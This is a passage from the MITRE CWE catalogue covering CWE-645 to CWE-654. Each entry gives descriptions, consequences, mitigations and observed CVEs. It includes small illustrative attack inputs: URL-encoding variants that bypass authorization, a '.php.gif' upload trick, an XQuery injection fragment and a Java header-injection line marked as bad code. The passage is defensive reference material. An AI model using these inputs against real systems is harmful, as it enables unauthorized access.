Confidentiality	<i>Run arbitrary code.</i>	
Availability		
Confidentiality	Read Application Data	
	<i>Attackers may be able to obtain sensitive information.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Perform output validation in order to filter/escape/encode unsafe data that is being passed from the server in an HTTP response header.

#### Phase: Architecture and Design

Disable script execution functionality in the clients' browser.

### Demonstrative Examples

#### Example 1:

In the following Java example, user-controlled data is added to the HTTP headers and returned to the client. Given that the data is not subject to neutralization, a malicious user may be able to inject dangerous scripting tags that will lead to script execution in the client browser.

*Example Language: Java*

*(Bad)*

```
response.addHeader(HEADER_NAME, untrustedRawInputData);
```

### Observed Examples

Reference	Description
<b>CVE-2006-3918</b>	Web server does not remove the Expect header from an HTTP request when it is reflected back in an error message, allowing a Flash SWF file to perform XSS attacks. <a href="https://www.cve.org/CVERecord?id=CVE-2006-3918">https://www.cve.org/CVERecord?id=CVE-2006-3918</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		725	OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws	711	2130

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2206
MemberOf	C	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2282

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP24		Tainted input to command

## CWE-645: Overly Restrictive Account Lockout Mechanism

**Weakness ID :** 645

**Structure :** Simple

**Abstraction :** Base

### Description

The product contains an account lockout protection mechanism, but the mechanism is too restrictive and can be triggered too easily, which allows attackers to deny service to legitimate users by causing their accounts to be locked out.

### Extended Description

Account lockout is a security feature often present in applications as a countermeasure to the brute force attack on the password based authentication mechanism of the system. After a certain number of failed login attempts, the users' account may be disabled for a certain period of time or until it is unlocked by an administrator. Other security events may also possibly trigger account lockout. However, an attacker may use this very security feature to deny service to legitimate system users. It is therefore important to ensure that the account lockout security mechanism is not overly restrictive.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	G	287	Improper Authentication	657

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	C	1017	Lock Computer	2225

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	1211	Authentication Errors	2268
MemberOf	C	1216	Lockout Mechanism Errors	2271

### Applicable Platforms

**Language :** Not Language-Specific (Prevalence = Undetermined)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other) <i>Users could be locked out of accounts.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Implement more intelligent password throttling mechanisms such as those which take IP address into account, in addition to the login name.

#### Phase: Architecture and Design

Implement a lockout timeout that grows as the number of incorrect login attempts goes up, eventually resulting in a complete lockout.

#### Phase: Architecture and Design

Consider alternatives to account lockout that would still be effective against password brute force attacks, such as presenting the user machine with a puzzle to solve (makes it do some computation).

### Demonstrative Examples

#### Example 1:

A famous example of this type of weakness being exploited is the eBay attack. eBay always displays the user id of the highest bidder. In the final minutes of the auction, one of the bidders could try to log in as the highest bidder three times. After three incorrect log in attempts, eBay password throttling would kick in and lock out the highest bidder's account for some time. An attacker could then make their own bid and their victim would not have a chance to place the counter bid because they would be locked out. Thus an attacker could win the auction.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		951	SFP Secondary Cluster: Insecure Authentication Policy	888	2189

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
2	Inducing Account Lockout

## CWE-646: Reliance on File Name or Extension of Externally-Supplied File

**Weakness ID :** 646

**Structure :** Simple

**Abstraction :** Variant

### Description

The product allows a file to be uploaded, but it relies on the file name or extension of the file to determine the appropriate behaviors. This could be used by attackers to cause the file to be misclassified and processed in a dangerous fashion.

### Extended Description

An application might use the file name or extension of a user-supplied file to determine the proper course of action, such as selecting the correct process to which control should be passed, deciding what data should be made available, or what resources should be allocated. If the



attacker can cause the code to misclassify the supplied file, then the wrong action could occur. For example, an attacker could supply a file that ends in a ".php.gif" extension that appears to be a GIF image, but would be processed as PHP code. In extreme cases, code execution is possible, but the attacker could also cause exhaustion of resources, denial of service, exposure of debug or system data (including application source code), or being bound to a particular server side process. This weakness may be due to a vulnerability in any of the technologies used by the web and application servers, due to misconfiguration, or resultant from another flaw in the application itself.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		345	Insufficient Verification of Data Authenticity	805

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Web Server (*Prevalence = Undetermined*)

## Likelihood Of Exploit

High

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data <i>An attacker may be able to read sensitive data.</i>	
Availability	DoS: Crash, Exit, or Restart <i>An attacker may be able to cause a denial of service.</i>	
Access Control	Gain Privileges or Assume Identity <i>An attacker may be able to gain privileges.</i>	

## Potential Mitigations

### Phase: Architecture and Design

Make decisions on the server side based on file content and not on file name or extension.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2206
MemberOf		1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2284

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
209	XSS Using MIME Type Mismatch

## CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions

**Weakness ID** : 647

**Structure** : Simple

**Abstraction** : Variant

### Description

The product defines policy namespaces and makes authorization decisions based on the assumption that a URL is canonical. This can allow a non-canonical URL to bypass the authorization.

### Extended Description

If an application defines policy namespaces and makes authorization decisions based on the URL, but it does not require or convert to a canonical URL before making the authorization decision, then it opens the application to attack. For example, if the application only wants to allow access to `http://www.example.com/mypage`, then the attacker might be able to bypass this restriction using equivalent URLs such as:

- `http://WWW.EXAMPLE.COM/mypage`
- `http://www.example.com/%6Dypage` (alternate encoding)
- `http://192.168.1.1/mypage` (IP address)
- `http://www.example.com/mypage/` (trailing /)
- `http://www.example.com:80/mypage`

Therefore it is important to specify access control policy that is based on the path information in some canonical form with all alternate encodings rejected (which can be accomplished by a default deny rule).

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		863	Incorrect Authorization	1664

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Web Server (*Prevalence = Undetermined*)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism  <i>An attacker may be able to bypass the authorization mechanism to gain access to the otherwise-protected URL.</i>	
Confidentiality	Read Files or Directories	

Scope	Impact	Likelihood
	<i>If a non-canonical URL is used, the server may choose to return the contents of the file, instead of pre-processing the file (e.g. as a program).</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Make access control policy based on path information in canonical form. Use very restrictive regular expressions to validate that the path is in the expected form.

#### Phase: Architecture and Design

Reject all alternate path encodings that are not in the expected canonical form.

### Demonstrative Examples

#### Example 1:

Example from CAPEC (CAPEC ID: 4, "Using Alternative IP Address Encodings"). An attacker identifies an application server that applies a security policy based on the domain and application name, so the access control policy covers authentication and authorization for anyone accessing `http://example.domain:8080/application`. However, by putting in the IP address of the host the application authentication and authorization controls may be bypassed `http://192.168.0.1:8080/application`. The attacker relies on the victim applying policy to the namespace abstraction and not having a default deny policy in place to manage exceptions.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		845	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)	844	2155
MemberOf		949	SFP Secondary Cluster: Faulty Endpoint Authentication	888	2188
MemberOf		1147	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)	1133	2244

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	IDS02-J		Canonicalize path names before validating them

## CWE-648: Incorrect Use of Privileged APIs

**Weakness ID :** 648

**Structure :** Simple

**Abstraction :** Base

### Description

The product does not conform to the API requirements for a function call that requires extra privileges. This could allow attackers to gain privileges by causing the function to be called incorrectly.

### Extended Description

When a product contains certain functions that perform operations requiring an elevated level of privilege, the caller of a privileged API must be careful to:

- ensure that assumptions made by the APIs are valid, such as validity of arguments
- account for known weaknesses in the design/implementation of the API
- call the API from a safe context

If the caller of the API does not follow these requirements, then it may allow a malicious user or process to elevate their privilege, hijack the process, or steal sensitive data.

For instance, it is important to know if privileged APIs do not shed their privileges before returning to the caller or if the privileged function might make certain assumptions about the data, context or state information passed to it by the caller. It is important to always know when and how privileged APIs can be called in order to ensure that their elevated level of privilege cannot be exploited.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		269	Improper Privilege Management	613

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		265	Privilege Issues	2109

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Likelihood Of Exploit

Low

## Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity <i>An attacker may be able to elevate privileges.</i>	
Confidentiality	Read Application Data <i>An attacker may be able to obtain sensitive information.</i>	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands <i>An attacker may be able to execute code.</i>	

## Potential Mitigations

### Phase: Implementation

Before calling privileged APIs, always ensure that the assumptions made by the privileged code hold true prior to making the call.

### Phase: Architecture and Design

Know architecture and implementation weaknesses of the privileged APIs and make sure to account for these weaknesses before calling the privileged APIs to ensure that they can be called safely.

**Phase: Implementation**

If privileged APIs make certain assumptions about data, context or state validity that are passed by the caller, the calling code must ensure that these assumptions have been validated prior to making the call.

**Phase: Implementation**

If privileged APIs do not shed their privilege prior to returning to the calling code, then calling code needs to shed these privileges immediately and safely right after the call to the privileged APIs. In particular, the calling code needs to ensure that a privileged thread of execution will never be returned to the user or made available to user-controlled processes.

**Phase: Implementation**

Only call privileged APIs from safe, consistent and expected state.

**Phase: Implementation**

Ensure that a failure or an error will not leave a system in a state where privileges are not properly shed and privilege escalation is possible (i.e. fail securely with regards to handling of privileges).

**Observed Examples**

Reference	Description
<b>CVE-2003-0645</b>	A Unix utility that displays online help files, if installed setuid, could allow a local attacker to gain privileges when a particular file-opening function is called. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0645">https://www.cve.org/CVERecord?id=CVE-2003-0645</a>

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	977	SFP Secondary Cluster: Design	888	2200

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name
107	Cross Site Tracing
234	Hijacking a privileged process

**CWE-649: Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking**

**Weakness ID** : 649

**Structure** : Simple

**Abstraction** : Base

**Description**

The product uses obfuscation or encryption of inputs that should not be mutable by an external actor, but the product does not use integrity checks to detect if those inputs have been modified.

**Extended Description**

When an application relies on obfuscation or incorrectly applied / weak encryption to protect client-controllable tokens or parameters, that may have an effect on the user state, system state, or some decision made on the server. Without protecting the tokens/parameters for integrity, the application is vulnerable to an attack where an adversary traverses the space of possible values

of the said token/parameter in order to attempt to gain an advantage. The goal of the attacker is to find another admissible value that will somehow elevate their privileges in the system, disclose information or change the behavior of the system in some way beneficial to the attacker. If the application does not protect these critical tokens/parameters for integrity, it will not be able to determine that these values have been tampered with. Measures that are used to protect data for confidentiality should not be relied upon to provide the integrity service.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.


*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		345	Insufficient Verification of Data Authenticity	805

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1020	Verify Message Integrity	2227

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1214	Data Integrity Issues	2270

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Likelihood Of Exploit

High

## Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State  <i>The inputs could be modified without detection, causing the product to have unexpected system state or make incorrect security decisions.</i>	

## Potential Mitigations

### Phase: Architecture and Design

Protect important client controllable tokens/parameters for integrity using PKI methods (i.e. digital signatures) or other means, and checks for integrity on the server side.

### Phase: Architecture and Design

Repeated requests from a particular user that include invalid values of tokens/parameters (those that should not be changed manually by users) should result in the user account lockout.

### Phase: Architecture and Design

Client side tokens/parameters should not be such that it would be easy/predictable to guess another valid state.

### Phase: Architecture and Design

Obfuscation should not be relied upon. If encryption is used, it needs to be properly applied (i.e. proven algorithm and implementation, use padding, use random initialization vector, user proper encryption mode). Even with proper encryption where the ciphertext does not leak information

about the plaintext or reveal its structure, compromising integrity is possible (although less likely) without the provision of the integrity service.

### Observed Examples

Reference	Description
<b>CVE-2005-0039</b>	<p>An IPSec configuration does not perform integrity checking of the IPSec packet as the result of either not configuring ESP properly to support the integrity service or using AH improperly. In either case, the security gateway receiving the IPSec packet would not validate the integrity of the packet to ensure that it was not changed. Thus if the packets were intercepted the attacker could undetectably change some of the bits in the packets. The meaningful bit flipping was possible due to the known weaknesses in the CBC encryption mode. Since the attacker knew the structure of the packet, they were able (in one variation of the attack) to use bit flipping to change the destination IP of the packet to the destination machine controlled by the attacker. And so the destination security gateway would decrypt the packet and then forward the plaintext to the machine controlled by the attacker. The attacker could then read the original message. For instance if VPN was used with the vulnerable IPSec configuration the attacker could read the victim's e-mail. This vulnerability demonstrates the need to enforce the integrity service properly when critical data could be modified by an attacker. This problem might have also been mitigated by using an encryption mode that is not susceptible to bit flipping attacks, but the preferred mechanism to address this problem still remains message verification for integrity. While this attack focuses on the network layer and requires an entity that controls part of the communication path such as a router, the situation is not much different at the software level, where an attacker can modify tokens/parameters used by the application.</p> <p><a href="https://www.cve.org/CVERecord?id=CVE-2005-0039">https://www.cve.org/CVERecord?id=CVE-2005-0039</a></p>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	975	SFP Secondary Cluster: Architecture	888	2199

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
463	Padding Oracle Crypto Attack

## CWE-650: Trusting HTTP Permission Methods on the Server Side

**Weakness ID** : 650

**Structure** : Simple

**Abstraction** : Variant

### Description

The server contains a protection mechanism that assumes that any URI that is accessed using HTTP GET will not cause a state change to the associated resource. This might allow attackers to bypass intended access restrictions and conduct resource modification and deletion attacks, since some applications allow GET to modify state.

### Extended Description



The HTTP GET method and some other methods are designed to retrieve resources and not to alter the state of the application or resources on the server side. Furthermore, the HTTP specification requires that GET requests (and other requests) should not have side effects. Believing that it will be enough to prevent unintended resource alterations, an application may disallow the HTTP requests to perform DELETE, PUT and POST operations on the resource representation. However, there is nothing in the HTTP protocol itself that actually prevents the HTTP GET method from performing more than just query of the data. Developers can easily code programs that accept a HTTP GET request that do in fact create, update or delete data on the server. For instance, it is a common practice with REST based Web Services to have HTTP GET requests modifying resources on the server side. However, whenever that happens, the access control needs to be properly enforced in the application. No assumptions should be made that only HTTP DELETE, PUT, POST, and other methods have the power to alter the representation of the resource being accessed in the request.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		436	Interpretation Conflict	1000

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity <i>An attacker could escalate privileges.</i>	
Integrity	Modify Application Data <i>An attacker could modify resources.</i>	
Confidentiality	Read Application Data <i>An attacker could obtain sensitive information.</i>	

### Potential Mitigations

#### Phase: System Configuration

Configure ACLs on the server side to ensure that proper level of access control is defined for each accessible resource representation.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		945	SFP Secondary Cluster: Insecure Resource Access	888	2187
MemberOf		1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2284

## CWE-651: Exposure of WSDL File Containing Sensitive Information

**Weakness ID** : 651

**Structure** : Simple

**Abstraction** : Variant

### Description

The Web services architecture may require exposing a Web Service Definition Language (WSDL) file that contains information on the publicly accessible services and how callers of these services should interact with them (e.g. what parameters they expect and what types they return).

### Extended Description


An information exposure may occur if any of the following apply:

- The WSDL file is accessible to a wider audience than intended.
- The WSDL file contains information on the methods/services that should not be publicly accessible or information about deprecated methods. This problem is made more likely due to the WSDL often being automatically generated from the code.
- Information in the WSDL file helps guess names/locations of methods/resources that should not be publicly accessible.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		538	Insertion of Sensitive Information into Externally-Accessible File or Directory	1178

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Web Server (*Prevalence = Often*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data  <i>The attacker may find sensitive information located in the WSDL file.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Limit access to the WSDL file as much as possible. If services are provided only to a limited number of entities, it may be better to provide WSDL privately to each of these entities than to publish WSDL publicly.

#### Phase: Architecture and Design

*Strategy = Separation of Privilege*

Make sure that WSDL does not describe methods that should not be publicly accessible. Make sure to protect service methods that should not be publicly accessible with access controls.

#### Phase: Architecture and Design

Do not use method names in WSDL that might help an adversary guess names of private methods/resources used by the service.

### Demonstrative Examples

#### Example 1:

The WSDL for a service providing information on the best price of a certain item exposes the following method: float getBestPrice(String ItemID) An attacker might guess that there is a method setBestPrice (String ItemID, float Price) that is available and invoke that method to try and change the best price of a given item to their advantage. The attack may succeed if the attacker correctly guesses the name of the method, the method does not have proper access controls around it and the service itself has the functionality to update the best price of the item.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		966	SFP Secondary Cluster: Other Exposures	888	2196
MemberOf		1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2280

## CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')

**Weakness ID** : 652

**Structure** : Simple

**Abstraction** : Base

### Description

The product uses external input to dynamically construct an XQuery expression used to retrieve data from an XML database, but it does not neutralize or incorrectly neutralizes that input. This allows an attacker to control the structure of the query.

### Extended Description

The net effect is that the attacker will have control over the information selected from the XML database and may use that ability to control application flow, modify logic, retrieve unauthorized data, or bypass important checks (e.g. authentication).

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		91	XML Injection (aka Blind XPath Injection)	209
ChildOf		943	Improper Neutralization of Special Elements in Data Query Logic	1720

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2226

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	137	Data Neutralization Issues	2102

### Applicable Platforms

**Language** : Not Language-Specific (Prevalence = Undetermined)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data <i>An attacker might be able to read sensitive information from the XML database.</i>	

### Potential Mitigations

#### Phase: Implementation

Use parameterized queries. This will help ensure separation between data plane and control plane.

#### Phase: Implementation

Properly validate user input. Reject data where appropriate, filter where appropriate and escape where appropriate. Make sure input that will be used in XQL queries is safe in that context.

### Demonstrative Examples

#### Example 1:

An attacker may pass XQuery expressions embedded in an otherwise standard XML document. The attacker tunnels through the application entry point to target the resource access layer. The string below is an example of an attacker accessing the accounts.xml to request the service provider send all user names back. `doc(accounts.xml)//user[name=']` The attacks that are possible through XQuery are difficult to predict, if the data is not validated prior to executing the XQL.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	<b>V</b>	Page
MemberOf	<b>C</b>	929	OWASP Top Ten 2013 Category A1 - Injection	928	2182
MemberOf	<b>C</b>	990	SFP Secondary Cluster: Tainted Input to Command	888	2206
MemberOf	<b>C</b>	1308	CISQ Quality Measures - Security	1305	2278
MemberOf	<b>V</b>	1340	CISQ Data Protection Measures	1340	2350
MemberOf	<b>C</b>	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2282

### Notes

#### Relationship

This weakness is similar to other weaknesses that enable injection style attacks, such as SQL injection, command injection and LDAP injection. The main difference is that the target of attack here is the XML database.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	46		XQuery Injection

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP24		Tainted input to command

## CWE-653: Improper Isolation or Compartmentalization

**Weakness ID :** 653

**Structure :** Simple

**Abstraction :** Base

### Description

The product does not properly compartmentalize or isolate functionality, processes, or resources that require different privilege levels, rights, or permissions.

### Extended Description

When a weakness occurs in functionality that is accessible by lower-privileged users, then without strong boundaries, an attack might extend the scope of the damage to higher-privileged users.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1422
ChildOf	ⓐ	657	Violation of Secure Design Principles	1361
ParentOf	ⓑ	1189	Improper Isolation of Shared Resources on System-on-a-Chip (SoC)	1829
ParentOf	ⓑ	1331	Improper Isolation of Shared Resources in Network On Chip (NoC)	2048

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	Ⓒ	1011	Authorize Actors	2218

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Alternate Terms

**Separation of Privilege :** Some people and publications use the term "Separation of Privilege" to describe this weakness, but this term has dual meanings in current usage. This node conflicts with the original definition of "Separation of Privilege" by Saltzer and Schroeder; that original definition is more closely associated with CWE-654. Because there are multiple interpretations, use of the "Separation of Privilege" term is discouraged.

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism	

Scope	Impact	Likelihood
	<i>The exploitation of a weakness in low-privileged areas of the software can be leveraged to reach higher-privileged areas without having to overcome any additional obstacles.</i>	

### Detection Methods

#### Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Compare binary / bytecode to application permission manifest

*Effectiveness = SOAR Partial*

#### Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

*Effectiveness = High*

#### Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling

*Effectiveness = High*

### Potential Mitigations

#### Phase: Architecture and Design

Break up privileges between different modules, objects, or entities. Minimize the interfaces between modules and require strong access control between them.

### Demonstrative Examples

#### Example 1:

Single sign-on technology is intended to make it easier for users to access multiple resources or domains without having to authenticate each time. While this is highly convenient for the user and attempts to address problems with psychological acceptability, it also means that a compromise of a user's credentials can provide immediate access to all other resources or domains.

#### Example 2:

The traditional UNIX privilege model provides root with arbitrary access to all resources, but root is frequently the only user that has privileges. As a result, administrative tasks require root privileges, even if those tasks are limited to a small area, such as updating user manpages. Some UNIX flavors have a "bin" user that is the owner of system executables, but since root relies on executables owned by bin, a compromise of the bin account can be leveraged for root privileges by modifying a bin-owned executable, such as CVE-2007-4238.

### Observed Examples

Reference	Description
<b>CVE-2019-6260</b>	Baseboard Management Controller (BMC) device implements Advanced High-performance Bus (AHB) bridges that do not require authentication for arbitrary read and write access to the BMC's physical address space from the host, and possibly the network [REF-1138]. <a href="https://www.cve.org/CVERecord?id=CVE-2019-6260">https://www.cve.org/CVERecord?id=CVE-2019-6260</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	901	SFP Primary Cluster: Privilege	888	2179
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2284

## Notes

### Relationship

There is a close association with CWE-250 (Execution with Unnecessary Privileges). CWE-653 is about providing separate components for each "privilege"; CWE-250 is about ensuring that each component has the least amount of privileges possible. In this fashion, compartmentalization becomes one mechanism for reducing privileges.

### Terminology

The term "Separation of Privilege" is used in several different ways in the industry, but they generally combine two closely related principles: compartmentalization (this node) and using only one factor in a security decision (CWE-654). Proper compartmentalization implicitly introduces multiple factors into a security decision, but there can be cases in which multiple factors are required for authentication or other mechanisms that do not involve compartmentalization, such as performing all required checks on a submitted certificate. It is likely that CWE-653 and CWE-654 will provoke further discussion.

## References

[REF-196]Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. 1975 September. < <http://web.mit.edu/Saltzer/www/publications/protection/> >.

[REF-535]Sean Barnum and Michael Gegick. "Separation of Privilege". 2005 December 6. < <https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/separation-of-privilege> >.

[REF-1138]Stewart Smith. "CVE-2019-6260: Gaining control of BMC from the host processor". 2019. < <https://www.flamingspork.com/blog/2019/01/23/cve-2019-6260:-gaining-control-of-bmc-from-the-host-processor/> >.

## CWE-654: Reliance on a Single Factor in a Security Decision

**Weakness ID** : 654

**Structure** : Simple

**Abstraction** : Base

### Description

A protection mechanism relies exclusively, or to a large extent, on the evaluation of a single condition or the integrity of a single object or entity in order to make a decision about granting access to restricted resources or functionality.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*



Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1422
ChildOf	ⓐ	657	Violation of Secure Design Principles	1361
ParentOf	ⓑ	308	Use of Single-factor Authentication	713
ParentOf	ⓑ	309	Use of Password System for Primary Authentication	716
PeerOf	ⓑ	1293	Missing Source Correlation of Multiple Independent Data	1982

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Alternate Terms
